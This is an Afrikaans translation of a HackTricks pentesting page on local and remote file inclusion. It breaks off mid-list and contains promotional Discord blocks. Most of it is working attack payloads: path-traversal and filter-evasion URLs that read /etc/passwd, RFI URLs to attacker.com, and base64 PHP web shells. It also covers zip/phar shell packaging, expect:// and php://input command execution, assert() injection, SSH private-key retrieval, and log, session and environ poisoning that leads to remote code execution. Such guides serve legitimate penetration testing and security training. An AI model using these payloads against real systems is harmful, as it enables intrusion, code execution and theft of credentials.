hacktricks/pentesting-web/file-inclusion
2024-02-11 02:07:06 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-eternal-waiting.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-nginx-temp-files.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-php-filters.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-phpinfo.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-segmentation-fault.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-temp-file-uploads.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
phar-deserialization.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
via-php_session_upload_progress.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

Lêer Insluiting/Pad deursoeking

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Sluit aan by die HackenProof Discord bediener om te kommunikeer met ervare hackers en foutjagters!

Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek

Real-Time Hack-nuus
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte

Nuutste aankondigings
Bly ingelig met die nuutste foutjagbounties wat bekendgestel word en belangrike platform-opdaterings

Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!

Lêer Insluiting

Verre Lêer Insluiting (RFI): Die lêer word gelaai vanaf 'n verre bediener (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit uitgeschakel per verstek (allow_url_include).
Plaaslike Lêer Insluiting (LFI): Die bediener laai 'n plaaslike lêer.

Die kwesbaarheid kom voor wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.

Kwesbare PHP-funksies: require, require_once, include, include_once

'n Interessante instrument om van hierdie kwesbaarheid gebruik te maak: https://github.com/kurobeats/fimap

Blind - Interessant - LFI2RCE-lêers

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Deur verskeie *nix LFI-lyste te meng en meer paaie by te voeg, het ek hierdie een geskep:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Probeer ook om / te verander na \
Probeer ook om ../../../../../ by te voeg

'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password (om te kyk of die kwesbaarheid bestaan) te vind, kan hier gevind word.

Windows

Versmelting van verskillende woordlyste:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Probeer ook om / te verander na \
Probeer ook om C:/ te verwyder en ../../../../../ by te voeg

'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini (om te kyk of die kwesbaarheid bestaan) te vind, kan hier gevind word.

OS X

Kyk na die LFI-lys van Linux.

Basiese LFI en omseilings

Al die voorbeelde is vir Plaaslike Lêer Insluiting, maar kan ook toegepas word op Verre Lêer Insluiting (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

oorgangsvolgordes wat nie-herhalend gestroop is nie

Hierdie tegniek behels die gebruik van oorgangsvolgordes om toegang te verkry tot lêers wat nie-herhalend gestroop is nie. Dit kan gebruik word om lêers in te sluit wat nie bedoel is om toeganklik te wees nie, soos konfigurasie- of loglêers.

Die volgende oorgangsvolgordes kan gebruik word om toegang te verkry tot lêers:

  • ../ - Hierdie verwys na die ouermap van die huidige map.
  • ./ - Hierdie verwys na die huidige map.
  • / - Hierdie verwys na die hoofmap van die bediener.
  • %00 - Hierdie is 'n URL-kodering vir 'n nulbyte, wat gebruik kan word om sekere beveiligingsmaatreëls te omseil.

Dit is belangrik om te verseker dat die toepassing nie gebruikersinsette sonder behoorlike validering aanvaar nie, aangesien dit 'n aanvaller in staat kan stel om die oorgangsvolgordes te gebruik om toegang te verkry tot ongewenste lêers.

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass die aanheg van meer karakters aan die einde van die verskafte string (bypass van: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Hierdie is opgelos sedert PHP 5.4

Kodering

Jy kan nie-standaard koderings gebruik soos dubbele URL-kodering (en ander):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Vanaf bestaande vouer

Miskien kontroleer die agterkant die vouerpad:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Verkenning van Lêersisteemgids op 'n Bediener

Die lêersisteem van 'n bediener kan rekursief verken word om gidslyste, nie net lêers, te identifiseer deur sekere tegnieke te gebruik. Hierdie proses behels die bepaling van die gidsdiepte en die ondersoek na die bestaan van spesifieke gidslys. Hieronder is 'n gedetailleerde metode om dit te bereik:

  1. Bepaal Gidsdiepte: Bepaal die diepte van jou huidige gids deur die /etc/passwd-lêer suksesvol op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan so gestruktureer wees om 'n diepte van drie aan te dui:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Ondersoek vir Gidse: Voeg die naam van die vermoedelike gids (bv. private) by die URL, en navigeer dan terug na /etc/passwd. Die bykomende gidsvlak vereis 'n verhoging van die diepte met een:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpreteer die Uitkomste: Die reaksie van die bediener dui aan of die gids bestaan:
  • Fout / Geen Uitset: Die gids private bestaan waarskynlik nie op die gespesifiseerde plek nie.
  • Inhoud van /etc/passwd: Die teenwoordigheid van die private gids word bevestig.
  1. Rekursiewe Verkenning: Ontdekte gidse kan verder ondersoek word vir subgidse of lêers deur dieselfde tegniek of tradisionele Plaaslike Lêer Insluiting (LFI) metodes te gebruik.

Om gidse op verskillende plekke in die lêerstelsel te verken, pas die lading dienooreenkomstig aan. Byvoorbeeld, om te kyk of /var/www/ 'n private gids bevat (onder die aanname dat die huidige gids 'n diepte van 3 het), gebruik:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Padverkortingstegniek

Padverkorting is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te benader deur sekere sekuriteitsmaatreëls te omseil wat bykomende karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, nadat dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer verwys.

In PHP kan verskillende voorstellings van 'n lêerpad as ekwivalent beskou word as gevolg van die aard van die lêersisteem. Byvoorbeeld:

  • /etc/passwd, /etc//passwd, /etc/./passwd, en /etc/passwd/ word almal as dieselfde pad behandel.
  • Wanneer die laaste 6 karakters passwd is, verander die toevoeging van 'n / (waar dit passwd/ maak) nie die teikenlêer nie.
  • Op dieselfde manier, as .php by 'n lêerpad gevoeg word (soos shellcode.php), sal die toevoeging van /. aan die einde nie die toegang tot die lêer verander nie.

Die voorbeelde wat verskaf word, demonstreer hoe om padverkorting te gebruik om toegang te verkry tot /etc/passwd, 'n algemene teiken as gevolg van sy sensitiewe inhoud (gebruikersrekeninginligting):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In hierdie scenario's kan die aantal traversals wat benodig word, ongeveer 2027 wees, maar hierdie getal kan wissel gebaseer op die bediener se konfigurasie.

  • Gebruik van puntsegmente en addisionele karakters: Traverseringsekvensies (../) gekombineer met ekstra puntsegmente en karakters kan gebruik word om die lêersisteem te navigeer, waardeur toegevoegde strings deur die bediener geïgnoreer word.

  • Bepaling van die vereiste aantal traverserings: Deur proefondervindelik te werk, kan die presiese aantal ../-sekvensies gevind word wat nodig is om na die hoofgids te navigeer en dan na /etc/passwd, met die versekering dat enige toegevoegde strings (soos .php) geneutraliseer word, maar die gewenste pad (/etc/passwd) intak bly.

  • Begin met 'n vals gids: Dit is 'n algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos a/). Hierdie tegniek word gebruik as 'n voorbehoedende maatreël of om aan die vereistes van die bediener se padontledingslogika te voldoen.

Wanneer padafkappings tegnieke gebruik word, is dit belangrik om die bediener se padontledingsgedrag en lêersisteemstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.

Hierdie kwesbaarheid is reggestel in PHP 5.3.

Filterontduikingstruuks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Verre Lêer Insluiting

In php is dit standaard gedeaktiveer omdat allow_url_include Af is. Dit moet Aan wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Indien om een of andere rede allow_url_include Aan is, maar PHP toegang tot eksterne webbladsye filter, volgens hierdie pos, kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te verkry:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} In die vorige kode is die finale +.txt bygevoeg omdat die aanvaller 'n string benodig het wat eindig met .txt, sodat die string daarmee eindig en nadat die b64-dekodeerproses voltooi is, sal daardie gedeelte net rommel wees en die werklike PHP-kode sal ingesluit (en dus uitgevoer) word. {% endhint %}

'n Ander voorbeeld sonder die gebruik van die php://-protokol sou wees:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Python Rooielement

In Python in 'n kode soos hierdie een:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

As die gebruiker 'n absoluut pad aan file_name deurgee, word die vorige pad net verwyder:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Dit is die beoogde gedrag volgens die dokumentasie:

As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en die saamvoeging gaan voort vanaf die absolute pad komponent.

Java Lys Gidse

Dit lyk asof as jy 'n Pad Traversal in Java het en jy vra vir 'n gids in plaas van 'n lêer, word 'n lys van die gids teruggegee. Dit sal nie in ander tale gebeur nie (afaik).

Top 25 parameters

Hier is 'n lys van die top 25 parameters wat vatbaar kan wees vir plaaslike lêer insluiting (LFI) kwesbaarhede (vanaf skakel):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI deur gebruik te maak van PHP wrappers & protokolle

php://filter

PHP-filters maak dit moontlik om basiese veranderingsbewerkings op die data uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë van filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Verwyder etikette van die data (alles tussen "<" en ">" karakters)
  • Let daarop dat hierdie filter verdwyn het uit die moderne weergawes van PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Verander na 'n ander enkodering (convert.iconv.<input_enc>.<output_enc>). Om die lys van alle ondersteunde enkoderings te kry, voer die volgende in die konsole uit: iconv -l

{% hint style="warning" %} Deur die convert.iconv.* omskakelingsfilter te misbruik, kan jy arbitrêre teks genereer, wat nuttig kan wees om arbitrêre teks te skryf of 'n funksie te maak om arbitrêre teks in te sluit. Vir meer inligting, kyk na LFI2RCE via php filters. {% endhint %}

  • Compression Filters
  • zlib.deflate: Komprimeer die inhoud (nuttig as jy baie inligting wil uitlek)
  • zlib.inflate: Dekomprimeer die data
  • Encryption Filters
  • mcrypt.* : Verouderd
  • mdecrypt.* : Verouderd
  • Ander Filters
  • Deur in PHP var_dump(stream_get_filters()); uit te voer, kan jy 'n paar onverwagte filters vind:
  • consumed
  • dechunk: keer HTTP chunked enkodering om
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} Die deel "php://filter" is nie hooflettergevoelig nie. {% endhint %}

php://fd

Hierdie omhulsel maak dit moontlik om toegang te verkry tot lêerbeskrywers wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers uit te voer:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Jy kan ook php://stdin, php://stdout en php://stderr gebruik om toegang te verkry tot die lêerbeskrywers 0, 1 en 2 onderskeidelik (nie seker hoe dit nuttig kan wees in 'n aanval nie)

zip:// en rar://

Laai 'n Zip- of Rar-lêer op met 'n PHPShell binne-in en kry toegang daartoe.
Om die rar-protokol te misbruik, moet dit spesifiek geaktiveer word.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

Die data:// URI-skema word gebruik om data direk in die URL in te sluit. Dit stel jou in staat om data in te sluit sonder om 'n eksterne bron te raadpleeg. Dit kan handig wees vir situasies waar jy data wil insluit wat nie op die bediener beskikbaar is nie.

Gebruik

Om die data:// skema te gebruik, volg jy die volgende sintaks:

data:[mediatipe];[kodering],[data]
  • [mediatipe] verwys na die tipe data wat ingesluit word, soos text/plain vir teks of image/jpeg vir 'n JPEG-afbeelding.
  • [kodering] is die kodering wat gebruik word vir die ingeslote data, soos base64 of utf-8.
  • [data] is die eintlike data wat ingesluit word.

Voorbeelde

Hier is 'n paar voorbeelde van hoe die data:// skema gebruik kan word:

  • Insluiting van 'n tekslêer:
data:text/plain;charset=utf-8,Hello%20world!
  • Insluiting van 'n JPEG-afbeelding:
data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAAAAAAAD/4QA6RXhpZgAATU0AKgAAAAgAAkAAAAMAAAABAAgAAEABAAEAAAABAAAAAAEAAK/7AAEQgAIAAgAAwEiAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2wBDAAoHBwkHBgoJCAkLCwoMDxkQDw4ODx4WFxIZJCAmJSMgIyIoLTkwKCo2KyIjMkQyNjs9QEBAJjBGS0U+Sjk/QD3/2wBDAQsLCw8NDx0QEB09KSMpPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT3/wAARCAABAAEDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2gAMAwEAAhEDEQA/APp6KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigD//2Q==

Beperkings

Dit is belangrik om te onthou dat die data:// skema nie in alle situasies gebruik kan word nie. Sommige webblaaierimplementasies kan beperkings plaas op die gebruik van die data:// skema, soos die grootte van die ingeslote data of die tipe data wat toegelaat word. Dit is dus belangrik om die toepaslike beperkings en veiligheidsmaatreëls in ag te neem wanneer jy die data:// skema gebruik.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Let wel dat hierdie protokol beperk word deur php-konfigurasies allow_url_open en allow_url_include

expect://

Verwagting moet geaktiveer word. Jy kan kode uitvoer deur dit te gebruik:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

inset://

Spesifiseer jou aanval in die POST parameters:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

'n .phar-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos include gebruik vir lêerlaai. Die PHP-kodefragment hieronder toon die skepping van 'n .phar-lêer:

<?php
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'This is a test file');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>

Hierdie kode skep 'n .phar-lêer met die naam payload.phar en voeg 'n toetslêer genaamd test.txt by. Die setStub-funksie stel die beginpunt van die uitvoering van die .phar-lêer in.

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Om die .phar lêer saam te stel, moet die volgende bevel uitgevoer word:

php --define phar.readonly=0 create_path.php

By uitvoering sal 'n lêer genaamd test.phar geskep word, wat moontlik gebruik kan word om plaaslike lêer insluiting (LFI) kwesbaarhede uit te buit.

In gevalle waar die LFI slegs lêerlesing uitvoer sonder om die PHP-kode daarin uit te voer, deur funksies soos file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), of filesize(), kan 'n poging aangewend word om 'n deserialisasie kwesbaarheid uit te buit. Hierdie kwesbaarheid word geassosieer met die lees van lêers deur die gebruik van die phar-protokol.

Vir 'n gedetailleerde begrip van die uitbuiting van deserialisasie kwesbaarhede in die konteks van .phar-lêers, verwys na die onderstaande dokument:

Phar Deserialisasie Uitbuitingsgids

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Meer protokolle

Kyk na meer moontlike protokolle om hier in te sluit:

  • php://memory en php://temp — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêer insluitingsaanval nie)
  • file:// — Toegang tot die plaaslike lêersisteem
  • http:// — Toegang tot HTTP(s) URL's
  • ftp:// — Toegang tot FTP(s) URL's
  • zlib:// — Saamgedruktheidstrome
  • glob:// — Vind lêernaamsoorte wat ooreenstem met patroon (Dit gee nie iets drukbaar terug nie, dus nie regtig nuttig hier nie)
  • ssh2:// — Veilige Skil 2
  • ogg:// — Klankstrome (Nie nuttig om willekeurige lêers te lees nie)

LFI via PHP se 'assert'

Plaaslike lêer insluiting (LFI) risiko's in PHP is veral hoog wanneer die 'assert' funksie gebruik word, wat kode binne strings kan uitvoer. Dit is veral problematies as insette wat gidsverspreidingskarakters soos ".." bevat, nagegaan word maar nie behoorlik gesaniteer word nie.

Byvoorbeeld, PHP-kode kan ontwerp wees om gidsverspreiding te voorkom soos volg:

assert("strpos('$file', '..') === false") or die("");

Terwyl dit daarop gemik is om traversering te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om dit uit te buit vir die lees van lêerinhoude, kan 'n aanvaller die volgende gebruik:

' and die(highlight_file('/etc/passwd')) or '

Op dieselfde manier kan 'n mens vir die uitvoering van willekeurige stelselopdragte gebruik maak van:

' and die(system("id")) or '

Dit is belangrik om hierdie payloads URL-kodeer.

Sluit aan by die HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek

Real-Time Hack Nuus
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte

Nuutste aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platform-opdaterings

Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!

PHP Blind Path Traversal

{% hint style="warning" %} Hierdie tegniek is relevant in gevalle waar jy die lêerpad van 'n PHP-funksie beheer wat 'n lêer sal toegang, maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na file()), maar die inhoud word nie gewys nie. {% endhint %}

In hierdie ongelooflike pos word verduidelik hoe 'n blinde padtraversering misbruik kan word via PHP-filter om die inhoud van 'n lêer te uit te voer deur middel van 'n fout-orakel.

Opsommend, die tegniek maak gebruik van die "UCS-4LE" kodering om die inhoud van 'n lêer so groot te maak dat die PHP-funksie wat die lêer oopmaak 'n fout sal veroorsaak.

Dan, om die eerste karakter uit te lek, word die filter dechunk gebruik saam met ander soos base64 of rot13 en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander karakters aan die begin te plaas en hulle uit te lek.

Funksies wat vatbaar kan wees: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (slegs teiken lees slegs met hierdie), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Vir die tegniese besonderhede, kyk na die genoemde pos!

LFI2RCE

Verre lêerinsluiting

Vroeër verduidelik, volg hierdie skakel.

Via Apache/Nginx loglêer

As die Apache- of Nginx-bedieners vatbaar is vir LFI binne die insluitfunksie, kan jy probeer om toegang te verkry tot /var/log/apache2/access.log of /var/log/nginx/access.log, stel binne die gebruikersagent of binne 'n GET-parameter 'n PHP-skyf soos <?php system($_GET['c']); ?> en sluit daardie lêer in.

{% hint style="warning" %} Let daarop dat as jy dubbele aanhalingstekens vir die skyf gebruik in plaas van enkellopie, die dubbele aanhalingstekens gewysig sal word vir die string "quote;", PHP sal daar 'n fout gooi en niks anders sal uitgevoer word nie.

Maak ook seker dat jy die payload korrek skryf, anders sal PHP elke keer 'n fout veroorsaak wanneer dit die loglêer laai en jy sal nie 'n tweede geleentheid hê nie. {% endhint %}

Dit kan ook in ander loglêers gedoen word, maar wees versigtig, die kode binne die loglêers kan URL-gekodeer wees en dit kan die Skyf vernietig. Die kop authorisation "basic" bevat "gebruiker:wagwoord" in Base64 en dit word binne die loglêers gedekodeer. Die PHPShell kan binne hierdie kop ingevoeg word.
Ander moontlike logpaaie:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing woordelys: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via E-pos

Stuur 'n e-pos na 'n interne rekening (user@localhost) wat jou PHP lading bevat soos <?php echo system($_REQUEST["cmd"]); ?> en probeer om dit in te sluit by die e-pos van die gebruiker met 'n pad soos /var/mail/<USERNAME> of /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Laai 'n groot hoeveelheid skulpe op (byvoorbeeld: 100)
  2. Sluit in http://example.com/index.php?page=/proc/$PID/fd/$FD, met $PID = PID van die proses (kan afgedwing word) en $FD die lêerbeskrywer (kan ook afgedwing word)

Via /proc/self/environ

Soos 'n loglêer, stuur die lading in die User-Agent, dit sal weerspieël word binne die /proc/self/environ-lêer

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Deur middel van oplaai

As jy 'n lêer kan oplaai, inspuit net die skuldpayload daarin (bv. <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Om die lêer leesbaar te hou, is dit die beste om in te spuit in die metadata van die foto's/doc/pdf

Via Zip-lêer oplaai

Laai 'n ZIP-lêer op wat 'n PHP-skulp gecomprimeer bevat en toegang:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP-sessies

Kyk of die webwerf PHP-sessies gebruik (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lêers.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Stel die koekie in as <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Gebruik die LFI om die PHP-sessie-lêer in te sluit

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot <HOME>/.ssh/id_rsa

Via vsftpd logs

Die logs vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die geval waar 'n plaaslike lêer insluiting (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:

  1. Spuit 'n PHP-payload in die gebruikersnaamveld tydens die aanmeldingsproses.
